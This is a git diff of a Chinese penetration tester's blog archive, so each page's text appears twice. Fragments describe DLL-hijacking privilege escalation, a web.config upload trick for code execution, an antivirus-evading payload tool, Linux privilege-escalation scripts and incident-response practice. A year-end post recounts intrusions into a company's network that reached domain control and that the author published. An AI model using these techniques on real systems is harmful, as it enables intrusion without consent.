Windows操作系统通过“DLL路径搜索目录顺序”和“KnownDLLs注册表项”的机制来确定应用程序所要调用的DLL的路径,之后,应用程序就将DLL载入了自己的内存空间,执行相应的函数功能。

提权过程

通过Process Monitor我发现了一个应用程序存在DLL劫持漏洞,或者在实战中,我们可以将服务器上的软件Download下来,分析其漏洞。

分析过程就省略了,简介附近有一些分析过程的文章。

传送门

里面有演示视频。

当我们以IIS等中间价权限替换一个安装目录里的DLL后,管理员使用该软件时、亦或者服务器自动启动这个软件时,刚好将我们的DLL加载至内存,就能够执行任意代码了,提权也就变得更加容易。

0x06 关于“我的安全成长口袋”

本圈主要用来记录自己技术生涯中短小的收获和知识的备忘,还有就是一些做安全服务工作中的感受。

方向可能会在不断改变:渗透测试、CTF、高效生活、应急响应、安全建设、读后感、代码审计、漏洞复现、运维杂项等等… -我暂时关闭了发帖权限、分享权限; 因为我有一个小的朋友圈,经常讨论一些技术,会在这里用评论交流。

关闭发帖权限是因为不指望加入的朋友分享,我发表的都是我的收获,不想因为别人影响自己的东西,妨碍搜索和温习。

扫码可免费加入:

\ No newline at end of file +我暂时关闭了发帖权限、分享权限; 因为我有一个小的朋友圈,经常讨论一些技术,会在这里用评论交流。

关闭发帖权限是因为不指望加入的朋友分享,我发表的都是我的收获,不想因为别人影响自己的东西,妨碍搜索和温习。

扫码可免费加入:

\ No newline at end of file diff --git a/archivers/2018-10-19/1/index.html b/archivers/2018-10-19/1/index.html index 51db654..4b6d7e0 100644 --- a/archivers/2018-10-19/1/index.html +++ b/archivers/2018-10-19/1/index.html @@ -10,4 +10,4 @@ rvn0xsy@Rvn0xsy ~/G/p/bin> ls phantomjs xss.js rvn0xsy@Rvn0xsy ~/G/p/bin> ./phantomjs xss.js # 启动监听 -

这时回到Burp的xss Validator插件页面:

其中:

0x03 测试演示

\ No newline at end of file +

这时回到Burp的xss Validator插件页面:

其中:

0x03 测试演示

\ No newline at end of file diff --git a/archivers/2018-10-30/1/index.html b/archivers/2018-10-30/1/index.html index d54761b..3020cdd 100644 --- a/archivers/2018-10-30/1/index.html +++ b/archivers/2018-10-30/1/index.html @@ -46,4 +46,4 @@
sudo umount /Volumes/disk
 

挂载

1
 
sudo mount -t ntfs -o rw,auto,nobrowse /dev/disk2 /Volumes/Mydisk/
-
\ No newline at end of file +
\ No newline at end of file diff --git a/archivers/2018-11-04/1/index.html b/archivers/2018-11-04/1/index.html index a43d983..62babcd 100644 --- a/archivers/2018-11-04/1/index.html +++ b/archivers/2018-11-04/1/index.html @@ -40,4 +40,4 @@ <appSettings> </appSettings> </configuration> -

上传完成web.config到Web目录下后,可以再上传*.jpa的扩展名文件达到执行任意代码的目的。

\ No newline at end of file +

上传完成web.config到Web目录下后,可以再上传*.jpa的扩展名文件达到执行任意代码的目的。

\ No newline at end of file diff --git a/archivers/2018-11-26/1/index.html b/archivers/2018-11-26/1/index.html index 8d62a6c..f3cf7af 100644 --- a/archivers/2018-11-26/1/index.html +++ b/archivers/2018-11-26/1/index.html @@ -1,3 +1,3 @@ 内网渗透心得 - 倾旋的博客
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

26 -Nov 2018

内网渗透心得

0x00 什么是内网渗透

通常是拿下某个内网访问权限后在内网中渗透?

0x01 为什么会出现内网渗透这个技术名词?

因为在企业的网络建设里,有些数据资源需要保护起来,于是选择放在内网,这是一点,还有一点跟互联网地址空间、资金有关,于是NAT地址转换、端口转发技术应用的越来越多,形成了一个网关、N台服务器的形式,当某个对外服务被黑客入侵,那么黑客还会使用这个缺口继续深入,但是内网中的网络管理安全强度并没有外网那么严谨,导致Wannacry、震网等病毒统治内网,还有就是内网的服务、服务器大多采用默认配置,这并不是一个非常安全的方案,可并未重视起来。

0x02 为什么谈到内网渗透技术,Linux相关的较少?

其实这个和windows的认证有关系,例如Pass The Hash、伪造票据、令牌假冒等,但是linux的认证较为单一,均采用ssh管理,并使用非对称加密。但是Windows从work group到domain,使用lm、ntlm、kerberos,不断向后兼容的过程中,之前的协议缺陷越来越多,系统补丁都更新的很频繁。你要说它不好,其实要是做好加固,完全是可以不需要内外网之分的,无非就是地址的多少、资金问题。kerberos认证协议的问世,解决了在不安全的网络中进行双向认证、且不怕中间人攻击。域,对应一个域名,一个域名一个组织\企业,这都完全是可行的。总归来说,其实内网渗透它本身不算一个技术类别,而是考验你在不同的网络环境下,对操作系统、网络基础的理解能力。内网渗透不是一个技术类别,渗透测试也不是“测试网站”、“挖掘Web漏洞”,那叫Web应用安全测试。为什么会变成这样呢?是因为HTTP普及的太快了,发展的也很迅速,之前还在玩着xss,这又迅速普及了websocket……于是大家都把“系统”当作网站,把网站当作“系统”。直面现实的话,这不是不好,正是因为这样,安全行业才能够使得更多的人关注安全、让新鲜血液注入。

0x03 内网渗透需要掌握哪些东西?

内网渗透只是现代攻防的一种表现,市场要比Web应用安全测试要小的多。但是你必须去掌握它,因为当木马、病毒来临时,你举手无措、你基础薄弱、你不能很快的发现问题,无法溯源、不知道木马如何落地。所以,攻防要持续学习,不管外网多么艰难,从外部进入内部的可能有很多,只是web的可能性更大。你需要掌握计算机操作系统基础知识、掌握一门或两门编程语言,必须保证一种是跨平台的、网络基础(路由、交换)、非常扎实的TCP/IP协议基础、不断持续研究的心。

就目前来看,我发现从乙方的一些服务中能够直接转换到甲方技能的就是应急响应了,那么应急的时候,你难道还说:“我不需要懂内网渗透吗????” - 倾旋 2018-11-23

\ No newline at end of file +Nov 2018

内网渗透心得

0x00 什么是内网渗透

通常是拿下某个内网访问权限后在内网中渗透?

0x01 为什么会出现内网渗透这个技术名词?

因为在企业的网络建设里,有些数据资源需要保护起来,于是选择放在内网,这是一点,还有一点跟互联网地址空间、资金有关,于是NAT地址转换、端口转发技术应用的越来越多,形成了一个网关、N台服务器的形式,当某个对外服务被黑客入侵,那么黑客还会使用这个缺口继续深入,但是内网中的网络管理安全强度并没有外网那么严谨,导致Wannacry、震网等病毒统治内网,还有就是内网的服务、服务器大多采用默认配置,这并不是一个非常安全的方案,可并未重视起来。

0x02 为什么谈到内网渗透技术,Linux相关的较少?

其实这个和windows的认证有关系,例如Pass The Hash、伪造票据、令牌假冒等,但是linux的认证较为单一,均采用ssh管理,并使用非对称加密。但是Windows从work group到domain,使用lm、ntlm、kerberos,不断向后兼容的过程中,之前的协议缺陷越来越多,系统补丁都更新的很频繁。你要说它不好,其实要是做好加固,完全是可以不需要内外网之分的,无非就是地址的多少、资金问题。kerberos认证协议的问世,解决了在不安全的网络中进行双向认证、且不怕中间人攻击。域,对应一个域名,一个域名一个组织\企业,这都完全是可行的。总归来说,其实内网渗透它本身不算一个技术类别,而是考验你在不同的网络环境下,对操作系统、网络基础的理解能力。内网渗透不是一个技术类别,渗透测试也不是“测试网站”、“挖掘Web漏洞”,那叫Web应用安全测试。为什么会变成这样呢?是因为HTTP普及的太快了,发展的也很迅速,之前还在玩着xss,这又迅速普及了websocket……于是大家都把“系统”当作网站,把网站当作“系统”。直面现实的话,这不是不好,正是因为这样,安全行业才能够使得更多的人关注安全、让新鲜血液注入。

0x03 内网渗透需要掌握哪些东西?

内网渗透只是现代攻防的一种表现,市场要比Web应用安全测试要小的多。但是你必须去掌握它,因为当木马、病毒来临时,你举手无措、你基础薄弱、你不能很快的发现问题,无法溯源、不知道木马如何落地。所以,攻防要持续学习,不管外网多么艰难,从外部进入内部的可能有很多,只是web的可能性更大。你需要掌握计算机操作系统基础知识、掌握一门或两门编程语言,必须保证一种是跨平台的、网络基础(路由、交换)、非常扎实的TCP/IP协议基础、不断持续研究的心。

就目前来看,我发现从乙方的一些服务中能够直接转换到甲方技能的就是应急响应了,那么应急的时候,你难道还说:“我不需要懂内网渗透吗????” - 倾旋 2018-11-23

\ No newline at end of file diff --git a/archivers/2018-12-06/1/index.html b/archivers/2018-12-06/1/index.html index 682225e..19f7023 100644 --- a/archivers/2018-12-06/1/index.html +++ b/archivers/2018-12-06/1/index.html @@ -1,3 +1,3 @@ 应急响应 近期总结 - 倾旋的博客
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

05 -Dec 2018

应急响应 近期总结

0x00 应急响应

简介:“应急响应”对应的英文是“Incident Response”或“Emergency Response”等,通常是指一个组织为了应对各种意外事件的发生所做的准备以及在事件发生后所采取的措施。 – Baidu

0x01 应急响应类型

目前接触的那么多应急,基本上都是以下事件类型:

  • 勒索病毒
  • 挖矿木马
  • 数据丢失
  • 网页篡改
  • 流量异常
  • ….

0x02 应急响应的几个主要原因

  • 资产脆弱业务对外
  • 钓鱼邮件
  • 服务器弱口令
  • 内部工作人员作梗
  • ……

0x03 应急响应 - 勒索病毒

勒索病毒的特征:一般会加密敏感文件,并会将文件重命名,加密过程中还会横向移动,横向移动的手段包含但不限于:

  • 服务器口令(RDP、SSH、SMB)爆破
  • SMB共享
  • WMIC
  • 抓取密码横向
  • 已知的RCE(Remote Code Execute)漏洞
  • ….

同时可能会产生大量网络认证失败的日志,加密完成后还会清除自身或者清除操作系统日志。

非二进制方向的人处理方式基本上就是首先确定事件发生时间,其次根据操作系统日志排查病毒发作时间,缩小排查范围。

0x04 应急响应 - 挖矿木马

挖矿木马的特征:CPU、内存占用率很高,并且会连接一些IOC相关的域名或者于虚拟货币相关的域名来获取新的指令。

某些情况下,还会创建系统启动项,计划任务等。

一般情况下,这类情况都是未安装杀毒软件或杀毒软件病毒库太老。

横向移动的手段与0x03很相近。

IOC(Indicator of Compromise)入侵指标,目前可以理解为是一种威胁参考数据。

0x05 应急响应 - 数据丢失

这种是处理起来比较棘手的事件了,需要画大量的时间分析日志,确定数据丢失的方式。

首先需要网络日志和主机日志,从数据服务器反向跟踪:“我被谁访问,谁对我做了什么”

0x06 应急响应 - 网页篡改

分两种情况:

  • 自动化批量攻击
  • 定向入侵

首先需要保留HTTP服务器日志,第一种情况就要判断HTTP服务器上是否有脆弱的Web应用,例如:远程代码执行、文件上传漏洞。第二种情况就要从网页篡改后第一发现的时间作为开始日志审计工作的启动时间。

0x07 应急响应 - 流量异常

这种情况一般是服务器被僵尸网络木马控制了,要么就是UDP服务对外 —— DRDOS这类也有可能。

根据网络日志和主机日志慢慢审计,当然直接查进程列表是最先要做的。

0x08 应急响应 - 我的一般流程

Question

  • 现场现象,如何发现的(依据是什么)?
  • 什么时候发现的?
  • 目前是否有做物理隔离(断网)?
  • 受害机器是哪个?
  • 受害服务有几台?(1台/N台)
  • 最先发现是哪台?
  • 这台服务器对外有哪些服务?
  • 这台服务器于其他机器是否处于同一个内网?

How to do

  1. 查看进程列表
  2. 查看进程创建Command Line
  3. 查看网络连接状况
  4. 校验进程、模块签名
  5. 查看进程线程、子进程
  6. 查看是否有开机启动项,与现场工作人员确认
  7. 查看勒索提示文件创建时间
  8. 查看服务器账户是否正常
  9. 查看日志是否被清除
  10. 查看认证日志

查看进程列表:能够确定是否有木马、病毒还在运行,较为可疑的就是:powershell.exe、rundll32、regsvr32、cmd…

查看进程创建Command Line:能够查看某些进程的执行路径是否正常、进程名是否是伪装的。

查看网络连接状况:确认机器是否还在被控状态,根据连接状况可以定位到程序路径。

校验进程、模块签名:有些病毒、木马会劫持操作系统的dll达到持久控制,通过校验签名可以确定文件是否是操作系统本身的。

查看是否有开机启动项,与现场工作人员确认:现场服务器上的业务可能需要定时任务计划或者开机启动项,需要确认启动项是否存在敏感行为,系统启动项和定时任务是木马常用来持久控制的一种手段。

查看勒索提示文件创建时间:这个信息虽然不准确,但是可以基本确定勒索病毒的活跃时间,同时根据勒索文件去查询对应的IOC信息。

查看服务器账户是否正常:在服务器上添加隐藏账户也是持久控制的一种方式。

查看日志是否被清除:判断日志清除时间,尽最大努力还原事件原委。

查看认证日志:一般针对SMB和RDP服务,如果发现某个IP在2秒内登录>3次,基本上是不正常的,一般病毒横向移动时,爆破的行为间隔时间非常短。

0x09 应急响应 - 常用工具

\ No newline at end of file +Dec 2018

应急响应 近期总结

0x00 应急响应

简介:“应急响应”对应的英文是“Incident Response”或“Emergency Response”等,通常是指一个组织为了应对各种意外事件的发生所做的准备以及在事件发生后所采取的措施。 – Baidu

0x01 应急响应类型

目前接触的那么多应急,基本上都是以下事件类型:

0x02 应急响应的几个主要原因

0x03 应急响应 - 勒索病毒

勒索病毒的特征:一般会加密敏感文件,并会将文件重命名,加密过程中还会横向移动,横向移动的手段包含但不限于:

同时可能会产生大量网络认证失败的日志,加密完成后还会清除自身或者清除操作系统日志。

非二进制方向的人处理方式基本上就是首先确定事件发生时间,其次根据操作系统日志排查病毒发作时间,缩小排查范围。

0x04 应急响应 - 挖矿木马

挖矿木马的特征:CPU、内存占用率很高,并且会连接一些IOC相关的域名或者于虚拟货币相关的域名来获取新的指令。

某些情况下,还会创建系统启动项,计划任务等。

一般情况下,这类情况都是未安装杀毒软件或杀毒软件病毒库太老。

横向移动的手段与0x03很相近。

IOC(Indicator of Compromise)入侵指标,目前可以理解为是一种威胁参考数据。

0x05 应急响应 - 数据丢失

这种是处理起来比较棘手的事件了,需要画大量的时间分析日志,确定数据丢失的方式。

首先需要网络日志和主机日志,从数据服务器反向跟踪:“我被谁访问,谁对我做了什么”

0x06 应急响应 - 网页篡改

分两种情况:

首先需要保留HTTP服务器日志,第一种情况就要判断HTTP服务器上是否有脆弱的Web应用,例如:远程代码执行、文件上传漏洞。第二种情况就要从网页篡改后第一发现的时间作为开始日志审计工作的启动时间。

0x07 应急响应 - 流量异常

这种情况一般是服务器被僵尸网络木马控制了,要么就是UDP服务对外 —— DRDOS这类也有可能。

根据网络日志和主机日志慢慢审计,当然直接查进程列表是最先要做的。

0x08 应急响应 - 我的一般流程

Question

How to do

  1. 查看进程列表
  2. 查看进程创建Command Line
  3. 查看网络连接状况
  4. 校验进程、模块签名
  5. 查看进程线程、子进程
  6. 查看是否有开机启动项,与现场工作人员确认
  7. 查看勒索提示文件创建时间
  8. 查看服务器账户是否正常
  9. 查看日志是否被清除
  10. 查看认证日志

查看进程列表:能够确定是否有木马、病毒还在运行,较为可疑的就是:powershell.exe、rundll32、regsvr32、cmd…

查看进程创建Command Line:能够查看某些进程的执行路径是否正常、进程名是否是伪装的。

查看网络连接状况:确认机器是否还在被控状态,根据连接状况可以定位到程序路径。

校验进程、模块签名:有些病毒、木马会劫持操作系统的dll达到持久控制,通过校验签名可以确定文件是否是操作系统本身的。

查看是否有开机启动项,与现场工作人员确认:现场服务器上的业务可能需要定时任务计划或者开机启动项,需要确认启动项是否存在敏感行为,系统启动项和定时任务是木马常用来持久控制的一种手段。

查看勒索提示文件创建时间:这个信息虽然不准确,但是可以基本确定勒索病毒的活跃时间,同时根据勒索文件去查询对应的IOC信息。

查看服务器账户是否正常:在服务器上添加隐藏账户也是持久控制的一种方式。

查看日志是否被清除:判断日志清除时间,尽最大努力还原事件原委。

查看认证日志:一般针对SMB和RDP服务,如果发现某个IP在2秒内登录>3次,基本上是不正常的,一般病毒横向移动时,爆破的行为间隔时间非常短。

0x09 应急响应 - 常用工具

\ No newline at end of file diff --git a/archivers/2018-12-18/2/index.html b/archivers/2018-12-18/2/index.html index 4a3351d..fe5fd26 100644 --- a/archivers/2018-12-18/2/index.html +++ b/archivers/2018-12-18/2/index.html @@ -6,4 +6,4 @@
public static bool AutoMasq = true;
 
 public static string masqBinary = @"C:\Windows\Notepad.exe";
-

如果AutoMasq为false,则不会进行进程注入,若为true,则会进行进程注入,伪装成C:\Windows\Notepad.exe.

需要Microsoft Visual Studio编译。

0x03 Let’s Try!

try

随便选择一个:13

try

会自动生成一个msf设置实例,根据提示设置一个监听器就好,最后按回车,就能获得会话。

try

0x04 总结

这个工具的优点就是加载powershell的行为不容易被AV查杀,但是编码只编码了一次,可能会被静态扫描到。

可以加一些反沙箱的功能,防止被传入云端。

还有一点就是不支持bypass uac,需要手动实现。

\ No newline at end of file +

如果AutoMasq为false,则不会进行进程注入,若为true,则会进行进程注入,伪装成C:\Windows\Notepad.exe.

需要Microsoft Visual Studio编译。

0x03 Let’s Try!

try

随便选择一个:13

try

会自动生成一个msf设置实例,根据提示设置一个监听器就好,最后按回车,就能获得会话。

try

0x04 总结

这个工具的优点就是加载powershell的行为不容易被AV查杀,但是编码只编码了一次,可能会被静态扫描到。

可以加一些反沙箱的功能,防止被传入云端。

还有一点就是不支持bypass uac,需要手动实现。

\ No newline at end of file diff --git a/archivers/2018-12-18/6/index.html b/archivers/2018-12-18/6/index.html index cc44b7f..9d687b0 100644 --- a/archivers/2018-12-18/6/index.html +++ b/archivers/2018-12-18/6/index.html @@ -36,4 +36,4 @@ 2
# 客户端
 nslookup hello.dns.payloads.online
-
\ No newline at end of file +
\ No newline at end of file diff --git a/archivers/2018-12-19/linux-privilege/index.html b/archivers/2018-12-19/linux-privilege/index.html index 634c735..e0c1336 100644 --- a/archivers/2018-12-19/linux-privilege/index.html +++ b/archivers/2018-12-19/linux-privilege/index.html @@ -1,3 +1,3 @@ Intranet Space - Linux Privilege - 倾旋的博客
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

19 -Dec 2018

Intranet Space - Linux Privilege

0x00 LinEnum

Scripted Local Linux Enumeration & Privilege Escalation Checks

Github:https://github.com/rebootuser/LinEnum

Usage:https://github.com/rebootuser/LinEnum/blob/master/README.md

Example:$ ./ LinEnum.sh -s -k keyword -r report -e / tmp / -t

0x01 linux-exploit-suggester

Often during the penetration test engagement the security analyst faces the problem of identifying privilege escalation attack vectors on tested Linux machine(s). One of viable attack vectors is using publicly known Linux exploit to gain root privileges on tested machine. Of course in order to do that the analyst needs to identify the right PoC exploit, make sure that his target is affected by the associated vulnerability and finally modify the exploit to suit his target. The linux-exploit-suggester.sh tool is designed to help with these activities.

Usage:https://github.com/mzet-/linux-exploit-suggester#usage

Example:$ ./linux-exploit-suggester.sh

\ No newline at end of file +Dec 2018

Intranet Space - Linux Privilege

0x00 LinEnum

Scripted Local Linux Enumeration & Privilege Escalation Checks

Github:https://github.com/rebootuser/LinEnum

Usage:https://github.com/rebootuser/LinEnum/blob/master/README.md

Example:$ ./ LinEnum.sh -s -k keyword -r report -e / tmp / -t

0x01 linux-exploit-suggester

Often during the penetration test engagement the security analyst faces the problem of identifying privilege escalation attack vectors on tested Linux machine(s). One of viable attack vectors is using publicly known Linux exploit to gain root privileges on tested machine. Of course in order to do that the analyst needs to identify the right PoC exploit, make sure that his target is affected by the associated vulnerability and finally modify the exploit to suit his target. The linux-exploit-suggester.sh tool is designed to help with these activities.

Usage:https://github.com/mzet-/linux-exploit-suggester#usage

Example:$ ./linux-exploit-suggester.sh

\ No newline at end of file diff --git a/archivers/2018-12-20/Windows-CriticalSection/index.html b/archivers/2018-12-20/Windows-CriticalSection/index.html index dc5a5c4..a963f3c 100644 --- a/archivers/2018-12-20/Windows-CriticalSection/index.html +++ b/archivers/2018-12-20/Windows-CriticalSection/index.html @@ -170,4 +170,4 @@ return 0; } -
\ No newline at end of file +
\ No newline at end of file diff --git a/archivers/2018-12-20/windows-FileMapping/index.html b/archivers/2018-12-20/windows-FileMapping/index.html index 7152dac..69a5566 100644 --- a/archivers/2018-12-20/windows-FileMapping/index.html +++ b/archivers/2018-12-20/windows-FileMapping/index.html @@ -170,4 +170,4 @@ CloseHandle(hFile); return 0; } -

这样就能够创建一个1024*1024*1024个字节的文件了。

\ No newline at end of file +

这样就能够创建一个1024*1024*1024个字节的文件了。

\ No newline at end of file diff --git a/archivers/2018-18-31/index.html b/archivers/2018-18-31/index.html index 921f242..e0e3eff 100644 --- a/archivers/2018-18-31/index.html +++ b/archivers/2018-18-31/index.html @@ -1,4 +1,4 @@ 2018 - 挥手告别 - 倾旋的博客
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

31 Dec 2018

2018 - 挥手告别

2017 与创业这条路挥手告别

2017是我蜕变最大的一年,工作辞了、准备创业、创业失败,最终写了一篇文章,与创业这条路挥手告别。

文章部分内容如下:

《关于一叶知安团队,我有些事情要对读者交代》

朋友们,好久不见,这么久没有跟大家谈心了,我就说一说你们心里存在的疑问。

从2017年年初我就加入了一叶知安,负责线上的一些运营、代表作的开发(漏洞演练平台)以及担任Web安全扫盲公开课的讲师。

一开始是从知乎专栏做起来的,经常做一些安全研究,并且把自己的收获分享出去,第一部分是针对市面上一些软WAF的ByPass合集。

那段日子还是很充实的,虽说待业在家,但是一直在团队里面跟(云杰、Snake、GodKiller、……)都有约定,就是在今年的暑假成立一个公司,算是开始创业吧。

我们在一起产生了许多想法,包括如何打开市场,预估团队的价值和发展方向,还有如何提升关注热度。

我自主研发了Web漏洞演练平台,初衷是想给许多刚加入信安行业而选择Web安全领域的伙伴提供漏洞学习的方便,经过了一个月的Coding……最终做成了第一个版本,当然也存在诸多可以优化的地方和接口方面的扩展,睡觉之前都在思考如何做的更好。

开发期间是我一个人住在家里,一天不开口几次,很少和朋友出去聚一聚,每天的不规律作息,导致生病,自己去医院检查,拍了CT(颈椎变形了、问题不大,就是有时候下雨腰会疼,应该是某种关节炎吧),我以为这会是对病魔抵抗的战争提前吹响了号角,幸运的是只是一个可以用OTC解决的病,放下心后,花了几天调整身体。

于此同时也在学习技术,在小密圈和知乎专栏发布文章,和朋友们交流网络运营方面的技巧。

接着认识了很多目前经常联系的朋友,微信的联系人数从20多直线上升到目前的700多人,后来读者群的人数越来越多,需要把控广告、吹水、斗图的现象了,而我也每天都在群里与大家交流我的想法,把他们的反馈和建议写到我的备忘录中,以方便进行下一步的计划。

渐渐的快到了6月份,我开始感觉到一个人生活变得乏味,想多出去接触新鲜的面孔,更多的也是充满了对创业中收获的渴望。

我们团队的成员如愿以偿的见面了,首要任务是要解决一个注册公司的问题,还有办公场地,人员住宿等,这些问题夹杂在一起确实有点考验我们的耐心,时间一天一天的流逝,我们的计划也渐渐成熟,但是也将我们变得焦灼……

以上这些问题因为一些不可抗力的因素导致拖长,最终不得而散。

小密圈开始停更、知乎专栏开始停更、直至我退出了那个陪伴我不知道多少个日夜的读者群。

最终我还是没有离开那个地方,因为当时我不想就此停歇,我需要伙伴来与我并肩作战,怕就怕身后空无一人,但是时间太久了,我的积蓄也花的差不多达到我预期的数额了,然后我就决定开始做培训,将之前的个人开销赚回来。

培训是以一叶知安的名义做的,定下这个决定之前我有考虑过这么做的意义。

首先,如果以团队的名义去做,那就要一直对团队以及读者们负责,就要一直发展下去,将热度一直保持,反之,是徒劳的,一个团队在网络中,必须要持之以恒的坚持,保持最优秀的状态,最后。我们决定在以后还是会发展一叶知安,那么,在这里我给大家道个歉,一人之力难以帮助大家太久太久,我会把我自己掌握的、以及收获的都慢慢告诉大家。

写这篇文章的原因就是我今天打开了我们的专栏,看到我发布公告、技术文章的日期,发现时间过得真快,一晃而过,我已经在一家企业上班了,每天规律的作息、处理着工作中一些繁杂琐事,平凡的过着每一天。偶尔我也会写一写自己的心得和技术方面的进步收获。

目前团队原来的成员都很少联系(可能是因为尴尬),我们有过共同的目标,以此我感到荣幸和幸运,以往我是不在圈内活跃的,为了团队发展而展露自己的能力,这或许是安全圈内团队成长起来的必经之路。

感谢那些安全媒体在我们发布文章之后来询问是否授权转载,虽然我现在说话已经没有力度了,但是专栏是一直存在的,每一篇文章以及截图我们都有证明我们的努力,我们的每一个脚步。

目前我的培训已经完成三分之一了,在最后我还是会将视频发布给大家(当然要征得学员的统一意见),供大家学习,由于是第一次开培训,可能有些讲的不好,其中继承了不少之前讲Web扫盲公开课的方式(独创),这些技巧都是我从网上大把教程中总结出来的弊端,然后优化成自己的授课方式讲出来,在讲课中我锻炼了自己的表达能力,有时候会口吃,还好有朋友们指正,还记得讲SQL注入的时候,那堂分享课讲了大概两个小时四十分钟左右。

在以后的日子里,我会慢慢学习,低调发展,尽量把自己掌握的技术形成一个标准,录制成一套完整的安全教学视频,不为什么,只是想把一件事情做到最好。

刨除技术层面,算是一种广义的黑客精神吧

不知道大家现在过得怎么样了,我衷心祝福大家能每天开开心心的,乐观生活。感谢有你们的陪伴,成就了现在的我。

上次参加 DEFCON 0571 (杭州)沙龙,见了很多想见的朋友,渐渐的这是我第二次参加沙龙了,熟悉了这种技术氛围,认识了不少有想法的朋友,当然也有很多大佬~ 他们都很谦虚的,我们的交流方式除了线上,可能就是传统的面基了,哈哈,前两天还基了一个朋友,年纪不大,也在创业,仿佛他所想的都能与我产生某种共鸣,就好像某一天你看到一个人跟你一样在过去做过同样的事情。

这个公众号就当做我和大家交流的方式吧,并不想太目的的去写一些东西,感性趣就来看看。(若有错别字,将就看吧……)

2017/08/26 -倾旋

>>原文

现在公众号已经废除、一叶知安已经解散,不会再去创作了,这篇文章意味着我接受了失败的结果,吸取教训,慢慢成长。

写上面这篇文章的时候是从南京落魄的逃离至杭州刚刚安定下来的时候,在此谢谢霖的照顾。

后续找了一份比较清闲的安全服务乙方工作,待遇还可以,但是团队是刚组建起来,需要很大精力投入建设,正是因为闲,我又把C/C++这类学习成本比较高的语言拾起来……至今我觉得我的选择是对的。

同时也给我的“前渗透框架”项目奠定了基础,锻炼了我的能力,使我在安全领域拥有了更多的方向。

参加沙龙的时候,有幸结识了我的前辈 - GUO,在聊到职业现状时,他建议我去更大的平台(奇虎/360企业安全集团),我非常认同前辈的说法——“人不能一直活在舒适区”。

当时只是简单聊聊,内心是对自己很不满意的,认为360是一个具有品牌力量的公司,能进入的绝非平庸之辈,我这样的可能面试都过不了,学历不高、能力不强,极度不自信。

正是这种极度不自信催促了我学习上进的心,然后开始将渗透做深,与ShadowTeam里的师傅们交流。

在2017年最后一次与GUO对话的时候,我说了一句:“我一定会自信的走进去(360)”

2018

过完年,杭州的天气依旧有些冷,决定做几个漂亮的渗透案例,到时候给自己的简历加分……

花了一个月的时间,产出了两篇文章:

分别都拿到域控作为结束,我将文章脱敏后发出来,跨国企业的安全部负责人在安全圈看到了这个文章,通过邮箱取得联系,最后我决定删除文章,当时圈里都传遍了,朋友圈现在还有聊天记录

的确这种做法是不对的,厂商也差点报警处理,还好没有太大影响,并且我也给了修复建议,碰到了好人,运气好。

三四月份,天气开始热起来了,我已经写好简历,按照流程面试完后,准备奔赴上海找房……

四月向魔都宣告 - 我来了

完成了一个梦想,真好,转眼间逝去的两年,我不断成长,感受人情冷暖、接纳新鲜事物,至今已学会如何照顾自己,让生活更具有色彩,人生更加无憾。

谢谢我的朋友们给我的支持!

>>原文

于是在八月份写了一篇总结:

入职

在炎热的四月底,我背着双肩包,顶着一头乱发来到上海,傍晚下了高铁,想到公司附近转转,赶上了团队的技术分享,晚上喝了很多酒,印象最深的还是那烧烤、啤酒、热情的人。

工作

慢慢的接触到了很多大牛,都很低调,从开始的渗透测试转向新型安全服务,偏向产品的路线,在接触产品的过程中也学到了不少;

有应急响应、代码审计、流量分析、渗透测试等,技术的广度提升了很多,也看到了技术变现有更多的可能,唯一就是我要不断的创新、发散自己的思维。

近况

最近没有规划近期目标,让我觉得有点小焦虑,很多东西都可以一步一步来的,准备养成一个写日记的习惯。

收获

在日常和同事聊起安服的时候,都能感受到一个好的安全服务工程师应该有的素养,首先就是要符合企业价值观,稳步成长。

在和客户接触的时候,不管是售前阶段、售后阶段,都要具备良好的表达沟通能力,大企、小司你要清楚各种客户他最根本的需要,接触的多了你的解决方案才会更容易落地、更容易被认可。

“引导客户需求” 每个人都有短处,将自己的长处发挥到极致是最好的状态,这块谈的不是销售技巧,而是个人营销的技巧,在现场、电话中,要清楚的知道自己的定位,“我是一个安全服务工程师,我的职责就是给予客户的问题技术层面的解决方案。”

>>原文

现在

回首这两年,我是一个新人,对于技术有时太过于执着,会做一些没有意义的研究,会讲一些自己讲过好几次讲过的东西,我都不会耐烦,因为在吸收它们的时候,我花费的心力是我讲出来花费的心力的好几倍。

目前在这边负责安全服务相关的技术支撑,磨练了我很多的能力,也包括我的成长,今年完成了不知道多少东西,但是隐约记得一些:

最近在研究邮件相关的安全,也学习到了不少东西,准备放入下一次议题中。

最后

我接受我感情的失败、创业的失败和自己的缺点,准备勇敢的步入2019……

说实话,在敲出2019的时候,既感觉陌生又感觉在期待着什么,今天是用来告别的,可能不适合立下多么难以完成的Flag。

事事不忘初心,坚持自己,变得更强大就好,我依然是个孩子。

\ No newline at end of file +倾旋

>>原文

现在公众号已经废除、一叶知安已经解散,不会再去创作了,这篇文章意味着我接受了失败的结果,吸取教训,慢慢成长。

写上面这篇文章的时候是从南京落魄的逃离至杭州刚刚安定下来的时候,在此谢谢霖的照顾。

后续找了一份比较清闲的安全服务乙方工作,待遇还可以,但是团队是刚组建起来,需要很大精力投入建设,正是因为闲,我又把C/C++这类学习成本比较高的语言拾起来……至今我觉得我的选择是对的。

同时也给我的“前渗透框架”项目奠定了基础,锻炼了我的能力,使我在安全领域拥有了更多的方向。

参加沙龙的时候,有幸结识了我的前辈 - GUO,在聊到职业现状时,他建议我去更大的平台(奇虎/360企业安全集团),我非常认同前辈的说法——“人不能一直活在舒适区”。

当时只是简单聊聊,内心是对自己很不满意的,认为360是一个具有品牌力量的公司,能进入的绝非平庸之辈,我这样的可能面试都过不了,学历不高、能力不强,极度不自信。

正是这种极度不自信催促了我学习上进的心,然后开始将渗透做深,与ShadowTeam里的师傅们交流。

在2017年最后一次与GUO对话的时候,我说了一句:“我一定会自信的走进去(360)”

2018

过完年,杭州的天气依旧有些冷,决定做几个漂亮的渗透案例,到时候给自己的简历加分……

花了一个月的时间,产出了两篇文章:

